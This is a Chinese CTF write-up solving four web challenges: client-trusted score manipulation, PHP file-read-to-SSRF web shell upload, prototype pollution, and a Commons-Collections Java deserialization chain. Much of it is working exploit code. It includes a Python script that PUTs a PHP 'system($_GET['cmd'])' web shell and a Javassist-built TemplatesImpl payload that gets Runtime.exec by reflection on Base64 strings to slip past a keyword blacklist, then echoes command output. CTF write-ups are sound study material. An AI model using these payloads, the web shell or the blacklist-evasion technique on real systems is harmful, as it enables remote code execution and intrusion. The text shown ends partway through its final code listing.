GuessOneGuess
目录结构:
📂 GuessOneGuess
├── 📂 bin
│ └── 📄 www
├── 📂 routes
│ ├── 📄 game-ws.js
│ └── 📄 index.js
├── 📂 views
│ ├── 📄 error.pug
│ ├── 📄 game.pug
│ └── 📄 layout.pug
├── 📄 app.js
└── 📄 package.json
游戏后端逻辑主要在 game-ws.js
:
module.exports = function(io) {
io.on('connection', (socket) => {
let targetNumber = Math.floor(Math.random() * 100) + 1;
let guessCount = 0;
let totalScore = 0;
const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}";
console.log(`新连接 - 目标数字: ${targetNumber}`);
socket.emit('game-message', {
type: 'welcome',
message: '猜一个1-100之间的数字!',
score: totalScore
});
socket.on('guess', (data) => {
try {
console.log(totalScore);
const guess = parseInt(data.value);
if (isNaN(guess)) {
throw new Error('请输入有效数字');
}
if (guess < 1 || guess > 100) {
throw new Error('请输入1-100之间的数字');
}
guessCount++;
if (guess === targetNumber) {
const currentScore = Math.floor(100 / Math.pow(2, guessCount - 1));
totalScore += currentScore;
let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore})`;
let showFlag = false;
if (totalScore > 1.7976931348623157e308) {
message += `\n🏴 ${FLAG}`;
showFlag = true;
}
socket.emit('game-message', {
type: 'result',
win: true,
message: message,
score: totalScore,
showFlag: showFlag,
currentScore: currentScore
});
targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
guessCount = 0;
} else {
if (guessCount >= 100) {
console.log("100次未猜中!将扣除当前分数并重置");
socket.emit('punishment', {
message: "100次未猜中!将扣除当前分数并重置",
});
return;
}
socket.emit('game-message', {
type: 'result',
win: false,
message: guess < targetNumber ? '太小了!' : '太大了!',
score: totalScore
});
}
} catch (err) {
socket.emit('game-message', {
type: 'error',
message: err.message,
score: totalScore
});
}
});
socket.on('punishment-response', (data) => {
totalScore -= data.score;
guessCount = 0;
targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
socket.emit('game-message', {
type: 'result',
win: true,
message: "扣除分数并重置",
score: totalScore,
showFlag: false,
});
});
});
};
可见需要分数大于一个超级大的数字 1.7976931348623157e308
它其实就是 JS 所使用的 IEEE 754 标准的双精度浮点数(64位)所能表示的最大的有限正数(可以通过 Number.MAX_VALUE
来获取)
在 Javascript 中,进行计算时结果超出了 Number.MAX_VALUE
时,会将结果表示为 Infinity
Infinity > Number.MAX_VALUE
的结果是 true,所以需要让分数达到 Infinity
猜对一次加的分很少,写一个二分查找算法来与其交互显然不可能在比赛结束前分数达到 Infinity
,得找到一种方法极大地增加分数
往下看注意到一个 socket 接口竟然接收客户端发来的分数来扣除总分数
socket.on('punishment-response', (data) => {
totalScore -= data.score;
guessCount = 0;
targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
socket.emit('game-message', {
type: 'result',
win: true,
message: "扣除分数并重置",
score: totalScore,
showFlag: false,
});
});
从 game.pug
中可以看到接收到 punishment
事件后发出 punishment-response
:
socket.on("punishment", (data) => {
socket.emit("punishment-response", { score: scoreDisplay.textContent} );
})
于是就想到发过去一个超大负数作为被扣除的分数,就是加分了
JSON 不支持 Infinity,如果设置 score 为 -Infinity 序列化会变成 null,所以就设为 -1.7976931348623157e308
在控制台执行:
let socket = io()
socket.emit("punishment-response", { score: -1.7976931348623157e308})
分数达到了这么大
那么再发一次就变成 Infinity 了,此时看服务端响应 JSON score 是 null,正如前面所说 JSON 不支持 Infinity,所以序列化为 JSON 会变成 null。实际上总分应该是 Infinity 了。只要再猜对一次应该就能让服务端触发分数判断返回 flag
但是在网页中再猜对一次会发现总分还是从 0 加起,这其实是因为之前的操作是另外创建了一个 socket 会话,只要用那个 socket 会话猜数就行了
game.pug
中发出 guess 事件是这样:socket.emit('guess', { value: guessInput.value });
,所以在控制台猜数也是这样执行,为了方便查看响应,先执行:
socket.on('game-message', (data) => { console.log(data) })
然后猜数:
Miniup
题目描述:自主研发的图床(确信
响应头表明了 PHP 5.6.4
存在任意文件读取
读一下它的源码:
import requests
import base64
URL = 'http://127.0.0.1:3000'
def read_file(path: str) -> str:
payload = {
'action': (None, 'view'), # 第一个表单字段 action=view
'filename': (None, path) # 第二个表单字段 filename=/path/to/file
}
response = requests.post(URL, files=payload)
data = response.json()
if data.get('success') and 'base64_data' in data:
encoded_data = data['base64_data'].split(',')[1]
try:
decoded_bytes = base64.b64decode(encoded_data)
decoded_content = decoded_bytes.decode('utf-8', errors='ignore')
return decoded_content
except base64.binascii.Error as e:
print(f"[-] Failed to decode from base64: {e}")
print(f"[-] Received base64 data: {encoded_data}...")
return None
except Exception as e:
print(f"[-] Unknown error decoding from base64: {e}")
return None
else:
print(f"[-] Response has no 'base64_data' field: {data}")
return None
if __name__ == "__main__":
print(read_file('index.php'))
结果:
<?php
$dufs_host = '127.0.0.1';
$dufs_port = '5000';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (isset($_FILES['file'])) {
$file = $_FILES['file'];
$filename = $file['name'];
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
echo json_encode(['success' => false, 'message' => '只允许上传图片文件']);
exit;
}
$target_url = 'http://' . $dufs_host . ':' . $dufs_port . '/' . rawurlencode($filename);
$file_content = file_get_contents($file['tmp_name']);
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
curl_setopt($ch, CURLOPT_POSTFIELDS, $file_content);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Origin: http://' . $dufs_host . ':' . $dufs_port,
'Referer: http://' . $dufs_host . ':' . $dufs_port . '/',
'Accept-Encoding: gzip, deflate',
'Accept: */*',
'Accept-Language: en,zh-CN;q=0.9,zh;q=0.8',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',
'Content-Length: ' . strlen($file_content)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
echo json_encode(['success' => true, 'message' => '图片上传成功']);
} else {
echo json_encode(['success' => false, 'message' => '图片上传失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '未选择图片']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'search') {
if (isset($_POST['query']) && !empty($_POST['query'])) {
$search_query = $_POST['query'];
if (!ctype_alnum($search_query)) {
echo json_encode(['success' => false, 'message' => '只允许输入数字和字母']);
exit;
}
$search_url = 'http://' . $dufs_host . ':' . $dufs_port . '/?q=' . urlencode($search_query) . '&json';
$ch = curl_init($search_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: ' . $dufs_host . ':' . $dufs_port,
'Accept: */*',
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code >= 200 && $http_code < 300) {
$response_data = json_decode($response, true);
if (isset($response_data['paths']) && is_array($response_data['paths'])) {
$image_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp'];
$filtered_paths = [];
foreach ($response_data['paths'] as $item) {
$file_name = $item['name'];
$extension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (in_array($extension, $image_extensions) || ($item['path_type'] === 'Directory')) {
$filtered_paths[] = $item;
}
}
$response_data['paths'] = $filtered_paths;
echo json_encode(['success' => true, 'result' => json_encode($response_data)]);
} else {
echo json_encode(['success' => true, 'result' => $response]);
}
} else {
echo json_encode(['success' => false, 'message' => '搜索失败,请稍后再试']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入搜索关键词']);
exit;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'view') {
if (isset($_POST['filename']) && !empty($_POST['filename'])) {
$filename = $_POST['filename'];
$file_content = @file_get_contents($filename, false, @stream_context_create($_POST['options']));
if ($file_content !== false) {
$base64_image = base64_encode($file_content);
$mime_type = 'image/jpeg';
echo json_encode([
'success' => true,
'is_image' => true,
'base64_data' => 'data:' . $mime_type . ';base64,' . $base64_image
]);
} else {
echo json_encode(['success' => false, 'message' => '无法获取图片']);
}
exit;
} else {
echo json_encode(['success' => false, 'message' => '请输入图片路径']);
exit;
}
}
?>
// 剩下的是 HTML
源码表面还有一个 5000 端口的 dufs 服务,查看其 github 仓库可知是个文件服务器
从仓库的 README 查看 dufs 服务的 API
尝试 SSRF 访问 dufs 服务:read_file('http://127.0.0.1:5000?json')
,列出了当前目录下的文件以及一些配置信息:
{
"href": "/",
"kind": "Index",
"uri_prefix": "/",
"allow_upload": true,
"allow_delete": false,
"allow_search": true,
"allow_archive": false,
"dir_exists": true,
"auth": false,
"user": null,
"paths": [
{
"path_type": "File",
"name": "dufs",
"mtime": 1745487158000,
"size": 4488672
},
{
"path_type": "File",
"name": "index.php",
"mtime": 1745500647000,
"size": 16464
}
]
}
说明 SSRF 有效,相当于现在可以控制这个 dufs 服务
然后就可以上传 shell 了
import requests
import base64
URL = 'http://127.0.0.1:3000'
def read_file(path: str) -> str:
payload = {
'action': (None, 'view'),
'filename': (None, path),
'options[http][method]': (None, 'PUT'),
'options[http][content]': (None, r"<?php system($_GET['cmd']);?>")
}
response = requests.post(URL, files=payload)
data = response.json()
if data.get('success') and 'base64_data' in data:
encoded_data = data['base64_data'].split(',')[1]
try:
decoded_bytes = base64.b64decode(encoded_data)
decoded_content = decoded_bytes.decode('utf-8', errors='ignore')
return decoded_content
except base64.binascii.Error as e:
print(f"[-] Failed to decode from base64: {e}")
print(f"[-] Received base64 data: {encoded_data}...")
return None
except Exception as e:
print(f"[-] Unknown error decoding from base64: {e}")
return None
else:
print(f"[-] Response has no 'base64_data' field: {data}")
return None
if __name__ == "__main__":
print(read_file('http://127.0.0.1:5000/shell.php'))
Clickclick
题目描述:相传,有一个神奇的按钮,只要点满 10000 下,就会有不一样的东西出现。
打开开发者工具,点几次,没有网络请求。Wappalyzer 插件显示前端是一个 Svelte 应用,由 Vite 打包。并且可能用到了 Socket.io(PHP 应该是误判)。后端是 Express(响应头 X-Powered-By 字段)
页面只有一个打包的 JS 文件。打包优化后的 JS 基本没有可读性
既然题目说点满 10000 下,那么就试试。当然不是手点,是在控制台执行:
let button = document.querySelector('button')
for (let i = 0; i < 10000; i++) { button.click(); }
出现了两行字和一堆 XHR 请求
前面都是 ok,后面都提示按的太快。不过现在知道了后端的 API 以及请求数据结构。这些请求都是发到 /update-amount
接口,请求数据:
{
"type":"set",
"point":{
"amount":数字
}
}
直接 curl 过去:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"type":"set","point":{"amount":10000}}' \
http://127.0.0.1:3000/update-amount
响应也是 “你按的太快了“
如果设置为 1,响应是 ok。设置为 1000 也是太快,而在之前的大量请求中也是到了 1000 判定太快。看起来是只要超过这个数就判断太快
因为前端到 10000 次后特意给了一行 JS 代码,应该是个线索
if ( req.body.point.amount == 0 || req.body.point.amount == null) {
delete req.body.point.amount
}
当后续代码尝试读取 req.body.point.amount
时,由于实例上(req.body.point
对象本身)的 amount
已经被删除了,JavaScript 会沿着原型链向上查找。猜测是原型链污染:
{
"type": "set",
"point": {
"__proto__": {
"amount": 10000
}
}
}
响应体给出了 flag
ezCC
/secret
给了 final.jar
。解压查看
pom.xml
:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.4</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>org.example</groupId>
<artifactId>final</artifactId>
<packaging>jar</packaging>
<version>1.0-SNAPSHOT</version>
<name>final Maven Webapp</name>
<url>http://maven.apache.org</url>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<build>
<finalName>final</finalName>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
控制器部分:
@PostMapping({"/handle"})
public String ser(String data) throws Exception {
Comment new_comment = new Comment(data);
byte[] comments_code = Tools.serialize(new_comment);
String comments_str = Tools.base64Encode(comments_code);
this.deser(comments_str);
return "redirect:/show";
}
@RequestMapping({"/deserialize"})
@ResponseBody
public void deser(String data) throws Exception {
if (data.length() > 6000) {
throw new Exception("Payload too long");
} else {
byte[] comments_code = Tools.base64Decode(data);
List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code);
Iterator var4 = this.blacklist.iterator();
while(var4.hasNext()) {
String i = (String)var4.next();
Iterator var6 = result.iterator();
while(var6.hasNext()) {
String s = (String)var6.next();
if (s.contains(i)) {
throw new Exception("Forbidden blacklist");
}
}
}
try {
Comment trans_comment = (Comment)Tools.deserialize(comments_code);
this.comments.add(trans_comment);
} catch (Exception var8) {
Exception e = var8;
e.printStackTrace();
}
}
}
@RequestMapping({"/show"})
@ResponseBody
public String show(HttpServletRequest request) throws Exception {
StringBuilder htmlBuilder = new StringBuilder();
htmlBuilder.append("<html><head><style>").append("body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }").append(".container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }").append("h1 { color: #333; }").append("ul { list-style-type: none; padding: 0; }").append("li { margin-bottom: 10px; padding: 10px; background-color: #f9f9f9; border-radius: 4px; }").append(".comment-text { font-weight: bold; }").append(".comment-time { color: #666; font-size: 0.9em; }").append("</style></head><body>").append("<div class='container'>").append("<h1>Comments</h1>");
if (this.comments.isEmpty()) {
htmlBuilder.append("<p>No comments yet.</p>");
} else {
htmlBuilder.append("<ul>");
Iterator var3 = this.comments.iterator();
while(var3.hasNext()) {
Comment comment = (Comment)var3.next();
htmlBuilder.append("<li>").append("<span class='comment-text'>").append(comment.getText()).append("</span>").append("<br>").append("<span class='comment-time'>From: ").append(comment.getFormattedTimestamp()).append("</span>").append("</li>");
}
htmlBuilder.append("</ul>");
}
htmlBuilder.append("</div></body></html>");
return htmlBuilder.toString();
}
黑名单:
public class BlackList {
public final Set<String> blacklist;
public BlackList() {
this.blacklist = new HashSet();
this.blacklist.addAll(Arrays.asList("Runtime", "ScriptEngine", "SpelExpressionParser", "ProcessImpl", "UNIXProcess", "forkAndExec", "ProcessBuilder", "UnixPrint"));
}
public BlackList(int sign) {
this.blacklist = (new BlackList()).blacklist;
this.blacklist.addAll(Arrays.asList("jackson", "ChainedTransformer"));
}
}
只知道是 JDK8,不清楚具体版本号。先用较新的 JDK8u441 本地测试
发送请求应注意 Content-Type。否则会无法绑定参数并抛出 NullPointerException
POST /deserialize HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8080
data=
/deserialize
接口会反序列化输入数据,限制长度最大 6000
此时就要搬出之前写的通杀 JDK 8 的无数组用于打 shiro 的利用链了。它没有 ChainedTransformer
:
package com.kkayu;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class DeserializationForShiro {
public static void main(String[] args) throws Exception {
byte[] bytecode = getPayload();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytecode));
Object o = ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getPayload() throws Exception {
byte[] bytecode = ClassPool.getDefault().get("EvilTemplatesImpl").toBytecode();
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl, "_bytecodes", new byte[][] { bytecode });
setFieldValue(tpl, "_name", "NOT NULL");
Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tpl });
Transformer fakeTransformer = new ConstantTransformer(1);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, TrAXFilter.class);
Map map = new HashMap();
map.put(tiedMapEntry, "value");
outerMap.remove(TrAXFilter.class);
setFieldValue(outerMap, "factory", transformer);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
return baos.toByteArray();
}
}
为了绕过 Runtime 的黑名单,EvilTemplatesImpl
里面需要让程序运行的时候通过反射动态获取 Runtime,避免使字节码包含 Runtime:
// EvilTemplatesImpl.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
static {
try {
java.util.Base64.Decoder d = java.util.Base64.getDecoder();
// "java.lang.Runtime" -> amF2YS5sYW5nLlJ1bnRpbWU=
// "getRuntime" -> Z2V0UnVudGltZQ==
// "exec" -> ZXhlYw==
String cmdB64 = "ZW52"; // env
Class<?> cls = Class.forName(new String(d.decode("amF2YS5sYW5nLlJ1bnRpbWU=")));
Object rt = cls.getMethod(new String(d.decode("Z2V0UnVudGltZQ==")), new Class[0]).invoke(null);
cls.getMethod(new String(d.decode("ZXhlYw==")), String.class)
.invoke(rt, new String(d.decode(cmdB64)));
} catch (Exception ignored) {}
}
}
然而执行后报错了:
java.lang.IllegalArgumentException: Illegal base64 character 20
at java.util.Base64$Decoder.decode0(Base64.java:714) ~[na:1.8.0_65]
at java.util.Base64$Decoder.decode(Base64.java:526) ~[na:1.8.0_65]
at java.util.Base64$Decoder.decode(Base64.java:549) ~[na:1.8.0_65]
at com.example.controller.IndexController.deser(IndexController.java:57) ~[classes!/:1.0-SNAPSHOT]
...
20 对应的是空格,打印一下 data 可以看到确实有空格,对比一下发现是 Payload 里的加号变成了空格,应该是被 URL 解码了
于是进行 URL 编码,执行后又抛出了一个异常:
java.lang.IllegalArgumentException: Input byte array has incorrect ending byte at 3360
at java.util.Base64$Decoder.decode0(Base64.java:742) ~[na:1.8.0_65]
at java.util.Base64$Decoder.decode(Base64.java:526) ~[na:1.8.0_65]
at java.util.Base64$Decoder.decode(Base64.java:549) ~[na:1.8.0_65]
at com.example.controller.IndexController.deser(IndexController.java:57) ~[classes!/:1.0-SNAPSHOT]
...
看起来是 data 末尾多出来了什么东西?编码后的 Payload 解码是正常的等号结尾
为了进一步排查,打印更详细的信息:
import java.security.MessageDigest;
import java.nio.charset.StandardCharsets;
import javax.xml.bind.DatatypeConverter;
@RequestMapping({"/deserialize"})
@ResponseBody
public void deser(String data) throws Exception {
System.out.println("--- Received data for /deserialize ---");
if (data == null) {
System.out.println("Received data is null!");
throw new NullPointerException("Data parameter is null"); // Or handle differently
}
System.out.println("Received data length: " + data.length());
try {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] hash = md.digest(data.getBytes(StandardCharsets.UTF_8));
String md5Hash = DatatypeConverter.printHexBinary(hash).toUpperCase();
System.out.println("Received data MD5: " + md5Hash);
// Also print the last 20 characters to visually check the tail
System.out.println("Received data tail: " + data.substring(Math.max(0, data.length() - 20)));
} catch (Exception e) {
System.out.println("Error calculating hash or getting tail: " + e.getMessage());
}
System.out.println("--- Proceeding with deserialization logic ---");
...
}
打印出来长度多了 4,而且末尾打印出来有两个空行,所以应该是多了两个换行,回去一看原来是 Yakit 里发包多时候结尾有换行,因为编码后数据太长了,往下滚才注意到..
解决问题后,在本地测试成功弹出了计算器
但是再发一次就不行了,只能重启。打远程可能得打一次就重启一下环境
curl
命令远程环境一直没反应,可能是不出网
并且 /deserialize
的异常处理机制吞掉了错误返回,需要利用已有的机制把数据弄出来。于是看看能否利用 /show
接口回显信息
/handle
接口可以接收 data
处理后放到 comments
里,然后就在 /show
就可以看到这个 data
的内容
那么思路就是 SSRF 向 /show
发送命令的执行结果获取回显
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
static {
try {
// 1. Base64 编码绕 WAF 并使得反射动态获取 Runtime 执行命令并获取输出
java.util.Base64.Decoder d = java.util.Base64.getDecoder();
// "java.lang.Runtime" -> amF2YS5sYW5nLlJ1bnRpbWU=
// "getRuntime" -> Z2V0UnVudGltZQ==
// "exec" -> ZXhlYw==
String cmdB64 = "ZW52"; // env
Class<?> cls = Class.forName(new String(d.decode("amF2YS5sYW5nLlJ1bnRpbWU=")));
Object rt = cls.getMethod(new String(d.decode("Z2V0UnVudGltZQ=="))).invoke(null);
Process p = (Process) cls.getMethod(new String(d.decode("ZXhlYw==")), String.class)
.invoke(rt, new String(d.decode(cmdB64)));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder();
String l;
while ((l = r.readLine()) != null) {
sb.append(l);
}
p.waitFor(); // 等待进程结束
r.close(); // 关闭流
String f = sb.toString(); // 获取最终结果
// 2. 发送内部 HTTP POST 请求
String tu = "http://127.0.0.1:8080/handle"; // targetUrl
byte[] pdb = ("data=" + URLEncoder.encode(f, "UTF-8")).getBytes("UTF-8"); // postDataBytes, 使用 "UTF-8" 字符串
HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();
c.setRequestMethod("POST");
c.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
c.setRequestProperty("Content-Length", "" + pdb.length);
c.setDoOutput(true);
try (OutputStream os = c.getOutputStream()) {
os.write(pdb);
}
c.getResponseCode();
} catch (Exception ignored) {}
}
}
生成 Payload 长度达到了 7212。为了进一步缩短,改用 javassist 动态构造字节码
需要注意 Javassist 的编译器比较老,不支持 Java 7 及以后引入的语法特性(泛型,try-with-resources 等)
并且 Javassist 的编译检查比较严格,经过一系列排错和优化后的构造字节码的代码如下:
public static byte[] getBytecode() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.importPackage("java.io");
pool.importPackage("java.net");
pool.importPackage("java.lang.reflect");
CtClass ctClass = pool.makeClass("A");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
String body = "public A(){\n" +
" try {\n" +
" java.util.Base64.Decoder d = java.util.Base64.getDecoder();\n" +
" String cmdB64 = \"ZW52\";\n" +
" Class cls = Class.forName(new String(d.decode(\"amF2YS5sYW5nLlJ1bnRpbWU=\")));\n" +
" Object rt = cls.getMethod(new String(d.decode(\"Z2V0UnVudGltZQ==\")), new Class[0]).invoke(null, null);\n" +
" Process p = (Process) cls.getMethod(new String(d.decode(\"ZXhlYw==\")), new Class[] { String.class })\n" +
" .invoke(rt, new Object[] { new String(d.decode(cmdB64)) });\n" +
" BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String l;\n" +
" while ((l = r.readLine()) != null) {\n" +
" sb.append(l);\n" +
" }\n" +
" p.waitFor();\n" +
" r.close();\n" +
" String f = sb.toString();\n" +
" String tu = \"http://127.0.0.1:8080/handle\";\n" +
" byte[] pdb = (\"data=\" + URLEncoder.encode(f, \"UTF-8\")).getBytes(\"UTF-8\");\n" +
" HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();\n" +
" c.setRequestMethod(\"POST\");\n" +
" c.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n" +
" c.setRequestProperty(\"Content-Length\", \"\" + pdb.length);\n" +
" c.setDoOutput(true);\n" +
" OutputStream os = null;\n" +
" try {\n" +
" os = c.getOutputStream();\n" +
" os.write(pdb);\n" +
" } finally {\n" +
" if (os != null) {\n" +
" try {\n" +
" os.close();\n" +
" } catch (Exception closeEx) {}\n" +
" }\n" +
" }\n" +
" c.getResponseCode();\n" +
" } catch (Exception ignored) {}\n" +
"}";
CtConstructor constructor = CtNewConstructor.make(body, ctClass);
ctClass.addConstructor(constructor);
ctClass.writeFile(".");
byte[] bytecode = ctClass.toBytecode();
ctClass.defrost();
return bytecode;
}
完整代码:
package com.kkayu;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Solve {
public static void main(String[] args) throws Exception {
byte[] byteCode = getPayload();
String base64Payload = Base64.getEncoder().encodeToString(byteCode);
System.out.println(base64Payload);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getBytecode() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.importPackage("java.io");
pool.importPackage("java.net");
pool.importPackage("java.lang.reflect");
CtClass ctClass = pool.makeClass("A");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
String body = "public A(){\n" +
" try {\n" +
" java.util.Base64.Decoder d = java.util.Base64.getDecoder();\n" +
" String cmdB64 = \"ZW52\";\n" +
" Class cls = Class.forName(new String(d.decode(\"amF2YS5sYW5nLlJ1bnRpbWU=\")));\n" +
" Object rt = cls.getMethod(new String(d.decode(\"Z2V0UnVudGltZQ==\")), new Class[0]).invoke(null, null);\n" +
" Process p = (Process) cls.getMethod(new String(d.decode(\"ZXhlYw==\")), new Class[] { String.class })\n" +
" .invoke(rt, new Object[] { new String(d.decode(cmdB64)) });\n" +
" BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String l;\n" +
" while ((l = r.readLine()) != null) {\n" +
" sb.append(l);\n" +
" }\n" +
" p.waitFor();\n" +
" r.close();\n" +
" String f = sb.toString();\n" +
" String tu = \"http://127.0.0.1:8080/handle\";\n" +
" byte[] pdb = (\"data=\" + URLEncoder.encode(f, \"UTF-8\")).getBytes(\"UTF-8\");\n" +
" HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();\n" +
" c.setRequestMethod(\"POST\");\n" +
" c.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n" +
" c.setRequestProperty(\"Content-Length\", \"\" + pdb.length);\n" +
" c.setDoOutput(true);\n" +
" OutputStream os = null;\n" +
" try {\n" +
" os = c.getOutputStream();\n" +
" os.write(pdb);\n" +
" } finally {\n" +
" if (os != null) {\n" +
" try {\n" +
" os.close();\n" +
" } catch (Exception closeEx) {}\n" +
" }\n" +
" }\n" +
" c.getResponseCode();\n" +
" } catch (Exception ignored) {}\n" +
"}";
CtConstructor constructor = CtNewConstructor.make(body, ctClass);
ctClass.addConstructor(constructor);
ctClass.writeFile(".");
byte[] bytecode = ctClass.toBytecode();
ctClass.defrost();
return bytecode;
}
